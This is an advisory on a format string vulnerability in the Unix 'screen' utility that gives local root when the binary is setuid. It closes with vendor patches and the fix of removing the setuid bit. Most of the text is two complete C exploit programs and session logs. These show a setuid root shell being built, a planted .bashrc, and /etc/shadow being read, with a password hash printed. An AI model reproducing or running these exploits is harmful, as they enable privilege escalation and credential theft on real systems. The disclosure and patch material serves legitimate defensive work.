COMMAND
screen
SYSTEMS AFFECTED
screen 3.9.5 and earlier
PROBLEM
Jouko Pynninen found following. A vulnerability exists in the
program "screen" version 3.9.5 and earlier. If screen is
installed setuid root, a local user may gain root privilege.
There are many systems where the program isn't setuid root by
default, but on many systems (at least SuSE Linux, Red Hat 5.2 and
earlier, *BSD ports packages, Solaris, other commercial unices) it
is, making them vulnerable.
To quickly check if your version is vulnerable, have these two
lines in ~/.screenrc:
vbell on
vbell_msg '%x'
Set TERM to vt100, start screen and press ctrl-G (you may need to
issue the command echo ^V^G to get a visual bell). If you see a
hexadecimal number on the last line, your version of screen is
vulnerable. However it can't be exploited unless the program is
installed setuid root.
The bug is located in screen.c in function serv_select_fn():
...
else if (visual && !D_VB && (!D_status || !D_status_bell))
{
D_status_delayed = -1;
Msg(0, VisualBellString);
if (D_status)
{
...
Msg() feeds the second argument to sprintf() and since
VisualBellString is user defineable, we have a classical format
bug. From there, a malicious user can either do the old trick
and write over a return address in stack, or for instance, write
over the real_uid variable where screen saves the user id. After
zeroing this variable with the format string the user can just
open a new window with a root shell in it.
For this reason the bug is quite platform-independent; no shell
code nor executable stack is needed. The vulnerability has been
tested on Linux, Intel and ppc architectures.
Vulnerable are found to be NetBSD, FreeBSD, OpenBSD (screen is a
part of the ports collection) Red Hat Linux 5.2 and earlier, SuSE
Linux, Solaris, many commercial unices.
It seems that the invoked bash crashes if we set real_uid to 0,
so lets try another way: create a .bashrc which does the work. On
Suse 6.1 and screen 3.7.6 the crash occurs after .bashrc is
executed so we can exploit this.
paul@phoenix:/tmp > id
uid=500(paul) gid=100(users) groups=100(users)
paul@phoenix:/tmp > ls -la
total 9
drwxrwxrwt 4 root root 1024 Sep 6 17:41 .
drwxr-xr-x 18 root root 1024 Mar 7 2000 ..
drwxrwxrwt 2 root root 1024 Feb 15 2000 .X11-unix
-rwxr--r-- 1 paul users 4559 Sep 6 17:41 expl.c
drwxr-xr-x 4 root users 1024 Sep 14 1999 screens
paul@phoenix:/tmp > gcc expl.c (padding set to 1)
paul@phoenix:/tmp > a.out 63
Screen 3.7.6+ local r00t exploit
by IhaQueR@IRCnet
creating magic string
building /home/paul/.screenrc
creating /home/paul/.bashrc
compiling suid shell
makdir()
press enter to start screen, then hit enter again, ctrl-g, ctrl-c for
suid shell
at /tmp/sush
Screen version 3.07.06 (FAU) 25-Nov-98
Copyright (c) 1993-1998 <blah....>
<enter>
chown: /tmp/sush: Operation not
permitted =F3
> l@phoenix:/tmp/PPP=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=B5
<ctrl-g> status:
10737900681134520512134745792-1073748600-1-10737433492047-1073743349-1-1-1-...
<ctrl-a ctrl-c>
> idphoenix:/tmp/P=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=B5
uid=0(root) gid=100(users) groups=100(users)
> t@phoenix:/tmp/P=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=B5
hm :-> this time without crash...
paul@phoenix:/tmp > ls -l
total 79
drwxr-xr-x 2 paul users 1024 Sep 6 17:52
P=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=B5
-rwxr-xr-x 1 paul users 36313 Sep 6 17:49 a.out
-rwxr--r-- 1 paul users 4355 Sep 6 17:48 expl.c
drwxr-xr-x 4 root users 1024 Sep 14 1999 screens
-rwsr-xr-x 1 root root 33190 Sep 6 17:49 sush
-rw-r--r-- 1 paul users 71 Sep 6 17:52 sush.c
But whatever, we have a suid shell at /tmp/sush even if bash
crashes...
/****************************************************************
* *
* Screen 3.7.6 (and others) local exploit *
* by IhaQueR@IRCnet *
* only for demonstrative purposes *
* *
****************************************************************/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/utsname.h>
#include <pwd.h>
#define TMPBUFSIZE 1024
#define SCREENRC ".screenrc"
#define BASHRC ".bashrc"
#define SCREEN "/usr/bin/screen"
/* to help you hit the buffer we repeat the addr in the dir path */
#define AREP 16
/* but write only once */
#define WREP 1
/* offset of the buffer seen from Msg() */
#define BUFOFFSET 284
#define PADDING 0
/* addr to be written */
#define WRITEADDR 0x807beb4
/* some offsets grabbed from 3.7.6 on S.u.S.E 6.1
&real_uid, &real_gid, &eff_uid, &eff_gid own_uid
0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4
+ 64 +64 ? ? ?
to get usefull offsets try this:
------------------- insert into screen.c source ----------------------
char mybuf[100000];
int jj;
void dumpstack(int err, char* fmt, ...)
{
static va_list ap;
char buf[100000];
char *p = buf;
FILE * fp;
#define STACKDMP "/tmp/stackdmp"
va_start(ap, fmt);
(void) vsnprintf(buf, sizeof(buf) - 100, fmt, ap);
va_end(ap);
if(fp = fopen(STACKDMP, "w")) {
fprintf(fp, "%s", buf);
fclose(fp);
}
}
---------------------------------------------------------------------
then find in screen.c the line: 'Msg(0, VisualBellString);' and replace
it with
bzero(mybuf, 100000);
for (jj=0; jj<1500; jj++)
{
strcat(mybuf, "%x ");
}
dumpstack(0, mybuf);
compile screen, run, hit ctrl-g and look at the stack in
/tmp/stackdmp:-)
of course you can dump the adresses of &real_uid, &real_gid too
(maybe you would need a small offset for a.out)
*/
int main(int argc, char** argv)
{
int i, off=0;
int writeoffs, bufoffset;
unsigned a, *p;
FILE* fp;
unsigned char* cp;
char buf[TMPBUFSIZE];
unsigned char adr[(AREP+2)*sizeof(unsigned)];
char screenrc[TMPBUFSIZE];
char bashrc[TMPBUFSIZE];
struct utsname uts;
struct passwd* pwd;
if(argc != 2) {
printf("USAGE %s offset\n", argv[0]);
return 0;
} else {
printf("Screen 3.7.6+ local r00t exploit\n");
printf("by IhaQueR@IRCnet\n\n");
}
/* calc addr offset */
getcwd(buf, TMPBUFSIZE);
off += strlen(buf);
uname(&uts);
off += strlen(uts.nodename);
pwd = getpwuid(getuid());
off += strlen(pwd->pw_name);
/* user@host:/cwd/ @:/ */
off += 3;
bufoffset = BUFOFFSET + off;
strcpy(screenrc, pwd->pw_dir);
strcat(screenrc, "/");
strcat(screenrc, SCREENRC);
strcpy(bashrc, pwd->pw_dir);
strcat(bashrc, "/");
strcat(bashrc, BASHRC);
/* user supplied offsets */
writeoffs = atoi(argv[1]);
printf("creating magic string\n");
bzero(buf, TMPBUFSIZE);
/* consume stack arguments */
for(i=0; i<bufoffset/4; i++)
strcat(buf, "%.0d");
/* finally write to adress */
for(i=0;i<WREP; i++)
strcat(buf, "%n");
/* create screenrc */
printf("building %s\n", screenrc);
if(fp = fopen(screenrc, "w")) {
fprintf(fp, "vbell on\n");
fprintf(fp, "vbell_msg '%s'\n", buf);
fprintf(fp, "vbellwait 3600\n");
fclose(fp);
}
else {
printf("ERROR: opening %s\n", screenrc);
return 1;
}
/* create bashrc */
printf("creating %s\n", bashrc);
snprintf(buf, TMPBUFSIZE, "cp %s %s.orig", bashrc, bashrc);
system(buf);
snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root:root /tmp/sush; chmod
4755 /tmp/sush'", bashrc);
system(buf);
/* create suid shell */
printf("compiling suid shell\n");
snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char**
av){setuid(0); setgid(0); execv(\"/bin/bash\", av);}'");
system(buf);
system("gcc /tmp/sush.c -o /tmp/sush");
/* now create the magic dir... */
printf("makdir()\n");
bzero(adr, (AREP+2)*sizeof(unsigned));
cp = adr;
for(i=0; i<PADDING; i++) {
*cp = 'P';
cp++;
}
p = (unsigned*) cp;
a = WRITEADDR + writeoffs;
for(i=0; i<AREP; i++) {
*p = a;
p++;
}
*p = 0;
/* make dir and call screen */
mkdir((char*)adr, 0xfff);
chdir((char*)adr);
argv[1] = NULL;
printf("press enter to start screen, then hit enter again, ctrl-g,
ctrl-c for suid shell at /tmp/sush");
getchar();
execv(SCREEN, argv);
}
Paul Starzetz added following. As mentioned in other postings
the screen package is vulnerbale to the classic format string
attack. Below is a simple exploit and as far as Paul could
investigate on Suse 6.1 with screen 3.7.6 the vulnerable function
is Msg(int err, char *fmt, ...) which is invoked with the value
of the vbell_msg from .screenrc. Unfortunatelly the format string
is never copied onto stack, so he looked for the contents of the
stack before calling Msg(0, VisualBellString). It seems that the
'buf' variable in main() contains the current working directory
from which we called screen (get screen source, compile and
replace Msg(0, VisualBellString) with a small stack dumping
function...). So all we need is to mkdir a directory containing
the write address, consume some arguments from the stack and let
screen overwrite the real_uid variable and then create a new
shell with our uid.
So lets look at the stack inside Msg(...) after calling screen
from a directory containing "ABCDEFGHIJ...":
4000bc74 1 8049e90 0 0 0 0 0 0 0 0 0 0 0 80995a8 0 0 bfffe4b8 ffffffff 0
bffff942 7ff 0 bffff942 0 0 0 0 0 0 0 ffffffff 0 0 0 0 ffffffff ffffffff
ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
0 0 301 0 0 2fb2 41c0 2 1f4 64 0 0 0 400 1000 2 39b572f1 0 39b5a058 0
39b5a058 0 0 0 75610700 6870406c 696e656f 752f3a78 682f7273 2f656d6f
6c756170 706d742f 63732f32 70786572 4342412f 47464544 4b4a4948 4f4e4d4c
53525150 57565554 5c5a5958 5d5c5c5b 605f5e5c 64636261 660d6665 6a696867
6e6d6c6b 7271706f
4342412f is it (prefixed by parent dir), the padding seems to be
3 for my constelation... So we try it now with padding set to 3,
buffer offset 324 and uidaddr 0x807beb4:
gcc expl.c
a.out 0
<screen comes up> <enter> <ctrl-g> <status line shows strange chars like
10737900681134520512134745792-1073748632-1-10737433792047-1073743379-1-1-1-1->
<ctrl-a> <ctrl-c>
id
uid=500(paul) gid=100(users) groups=100(users)
Hm...lets kill it. Try now:
a.out 64
<same>
id
shell-init: could not get current directory: getcwd: cannot access
parent direct
ories: Permission denied
bash: /home/paul/.bashrc: Permission denied
I have no name!@phoenix:/usr/home/paul/tmp2/screxp > id
uid=255 gid=100(users) groups=100(users)
W00w, we hit the uid seems, 255 is the number of chars written by
vsnprintf. It looks like:
OFF 64 65 66 67
UID f4 01 00 00
%n ff 00 00 00
Why not shift it by 1 to the left?
a.out 63
<same> after <ctrl-c>:
[screen caught signal 11.]
paul@phoenix:/usr/home/paul/tmp2/screxp >
Bad, but we can still grab /etc/shadow (any idea to avoid this
damn sighandler?):
a.out 63
<screen comes up> <enter> <ctrl-g> <staus line with strange output> but
try now:
paul@phoenix:~/tmp2/screen-3.7.6 > ln -s /etc/shadow /tmp/screen-xchg
<ctrl-a ctrl-< > status says: Slurped 1142 characters into buffer,
very nice....
paul@phoenix:~/tmp2/screen-3.7.6 > rm /tmp/screen-xchg
paul@phoenix:~/tmp2/screen-3.7.6 > touch /tmp/screen-xchg
and again ctrl a ctrl > Copybuffer written to "/tmp/screen-xchg".
paul@phoenix:~/tmp2/screen-3.7.6 > ls -l /tmp
total 10
-rw-r--r-- 1 paul users 1142 Sep 6 08:16 screen-xchg
paul@phoenix:~/tmp2/screen-3.7.6 > cat /tmp/screen-xchg
root:/7t3byBDQKUAc:11152:0:10000::::
bin:*:8902:0:10000::::
daemon:*:8902:0:10000::::
lp:*:9473:0:10000::::
news:*:8902:0:10000::::
uucp:*:0:0:10000::::
games:*:0:0:10000::::
Oh no it works..... Note that you can get uid bin (1) if you
replace the 'strcat(buf, "%.0d");' with 'strcat(buf, "%.d");'
because vsprintf writes then 256+ characters. With so modified
version of expl.c:
paul@phoenix:/usr/home/paul/tmp2/screxp > gcc expl.c
paul@phoenix:/usr/home/paul/tmp2/screxp > a.out 63
<screen welcome> <enter> <ctrl-g> <ctrl-c>
shell-init: could not get current directory: getcwd: cannot access
parent direct
ories: Permission denied
bash: /home/paul/.bashrc: Permission denied
bin@phoenix:/usr/home/paul/tmp2/screxp > id
uid=1(bin) gid=100(users) groups=100(users)
bin@phoenix:/usr/home/paul/tmp2/screxp >
now create a suid bin shell.......
Paul has also a working but unstable root exploit and he wondered
why it works because it theoretically shouldn't work...
paul@phoenix:/usr/home/paul/tmp2/screxp > gcc screxpl.c
paul@phoenix:/usr/home/paul/tmp2/screxp > a.out 63
<screen ...> <ctrl-g> <ctrl-c>
=F3\[=F3\[=F3\[ # idome/paul/tmp2/screxp/ppp=F3\[=F3\[=F3\[=F3\[=F3\[=AB
uid=0(root) gid=100(users) groups=100(users)
=F3\[=F3\[=F3\[ # cp /bin/bash .2/screxp/ppp=F3\[=F3\[=F3\[=F3\[=F3\[=AB
=F3\[=F3\[=F3\[ # chmod u+s bash2/screxp/ppp=F3\[=F3\[=F3\[=F3\[=F3\[=AB
=F3\[=F3\[=F3\[ # ls -l/paul/tmp2/screxp/ppp=F3\[=F3\[=F3\[=F3\[=F3\[=AB
total 481
dr-xr--r-x 2 paul users 1024 Sep 6 08:33 .
drwxr-xr-x 18 paul users 12288 Sep 6 08:32 ..
-rwsr-xr-x 1 root users 475348 Sep 6 08:33 bash
Sorry the term got confused. So now we have a suid root bash....
/****************************************************************
*
*
* Screen 3.7.6 (and others) local exploit
*
* by IhaQueR@IRCnet
*
*
*
****************************************************************/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define TMPBUFSIZE 4096
#define SCREENRC "/usr/home/paul/.screenrc"
#define SCREEN "/usr/bin/screen"
#define AREP 1
#define BUFOFFSET 324
#define PADDING 3
#define WRITEADDR 0x807beb4
// some offsets grabbed from 3.7.6
// &real_uid, &real_gid, &eff_uid, &eff_gid own_uid
// 0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4
// + 64 +64
int main(int argc, char** argv)
{
int i, l;
FILE* fp;
char buf[TMPBUFSIZE];
unsigned char adr[(AREP+2)*sizeof(unsigned)];
unsigned char* cp;
unsigned a, *p;
if(argc != 2) {
printf("USAGE %s offset\n", argv[0]);
return 0;
}
l = atoi(argv[1]);
printf("creating magic string\n");
bzero(buf, TMPBUFSIZE);
/* consume stack arguments */
for(i=0; i<BUFOFFSET/4; i++)
strcat(buf, "%.0d");
/* finally write to adress */
// for(i=0;i<9; i++)
strcat(buf, "%n");
if(fp = fopen(SCREENRC, "w")) {
fprintf(fp, "vbell on\n");
fprintf(fp, "vbell_msg '%s'\n", buf);
fprintf(fp, "vbellwait 11111\n");
fclose(fp);
}
else {
printf("ERROR: opening %s\n", SCREENRC);
}
/* now create the magic dir... */
bzero(adr, (AREP+2)*sizeof(unsigned));
cp = adr;
for(i=0; i<PADDING; i++) {
*cp = 'p';
cp++;
}
p = (unsigned*) cp;
a = WRITEADDR;
a = a + l;
for(i=0; i<AREP; i++) {
*p = a;
// a += 4;
p++;
}
*p = 0;
/* make dir and call screen */
mkdir((char*)adr, 0x777);
chdir((char*)adr);
argv[1] = NULL;
execv(SCREEN, argv);
}
SOLUTION
Red Hat Linux 6.0 and later and most other Linux distributions are
not vulnerable. Removing the setuid bit from the binary makes it
impossible to be exploited:
chmod 111 /usr/local/bin/screen # or /usr/bin/screen
BUT this may require some changes to the mode of screen's socket
dir (usually /tmp/screens). Consult screen documentation for
more info. Since screen in Red Hat Linux 5.2 and earlier releases
was setuid root, this security hole could be exploited to gain a
root shell. So, for RedHat:
ftp://updates.redhat.com/5.2/sparc/screen-3.7.4-4.sparc.rpm
ftp://updates.redhat.com/5.2/alpha/screen-3.7.4-4.alpha.rpm
ftp://updates.redhat.com/5.2/i386/screen-3.7.4-4.i386.rpm
ftp://updates.redhat.com/5.2/SRPMS/screen-3.7.4-4.src.rpm
Screen authors (and some OS vendors) have been informed and a new
version of screen can be retrieved from
ftp://ftp.uni-erlangen.de/pub/utilities/screen/screen-3.9.8.tar.gz
and diffs relative to version 3.9.5:
ftp://ftp.uni-erlangen.de/pub/utilities/screen/screen-3.9.5-3.9.8.diff.gz
Vendor patches for vulnerable systems have been released, or will
be released.
FreeBSD port not affected for this problem after 1 sept 2000
because it contains security patch for this problem.
$ cat /usr/ports/misc/screen/patches/patch-sec1
--- screen.c.orig Fri Sep 1 17:58:35 2000
+++ screen.c Fri Sep 1 17:57:35 2000
@@ -2311,7 +2311,7 @@
else if (visual && !D_VB && (!D_status || !D_status_bell))
{
D_status_delayed = -1;
- Msg(0, VisualBellString);
+ Msg(0, "%s", VisualBellString);
if (D_status)
{
D_status_bell = 1;
Patch for FreeBSD:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/misc/screen-3.9.8.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/misc/screen-3.9.8.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/misc/screen-3.9.8.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/misc/screen-3.9.8.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/misc/screen-3.9.8.tgz
Linux-Mandrake does not ship screen setuid root and is therefore
not vulnerable to this problem.
Fix applied to NetBSD pkgsrc on 1st september. NetBSD pkgsrc
users should confirm they have screen-3.9.5nb1 or later. For
reference, patch applied:
$NetBSD: patch-ah,v 1.2 2000/09/01 15:23:51 kim Exp $
--- screen.c.orig Wed Sep 1 17:57:25 1999
+++ screen.c Fri Sep 1 11:22:45 2000
@@ -2311,7 +2311,7 @@
else if (visual && !D_VB && (!D_status || !D_status_bell))
{
D_status_delayed = -1;
- Msg(0, VisualBellString);
+ Msg(0, "%s", VisualBellString);
if (D_status)
{
D_status_bell = 1;
Conectiva Linux does not ship screen SUID and is therefore not
vulnerable.
For SuSE Linux:
ftp://ftp.suse.com/pub/suse/i386/update/7.0/ap1/screen-3.9.8-1.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/screen-3.9.8-1.src.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.4/ap1/screen-3.9.8-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/screen-3.9.8-0.src.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.3/ap1/screen-3.9.8-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/screen-3.9.8-0.src.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.2/ap1/screen-3.9.8-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/screen-3.9.8-0.src.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.1/ap1/screen-3.9.8-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/screen-3.9.8-0.src.rpm
ftp://ftp.suse.com/pub/suse/i386/update/5.3/ap1/screen-3.9.8-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/5.3/zq1/screen-3.9.8-0.src.rpm
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/ap1/screen-3.9.8-0.sparc.rpm
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/screen-3.9.8-0.src.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.4/ap1/screen-3.9.8-0.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/screen-3.9.8-0.src.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.3/ap1/screen-3.9.8-0.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/screen-3.9.8-0.src.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.1/ap1/screen-3.9.8-0.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/screen-3.9.8-0.src.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/ap1/screen-3.9.8-0.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/screen-3.9.8-0.src.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.3/ap1/screen-3.9.8-0.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.3/zq1/screen-3.9.8-0.src.rpm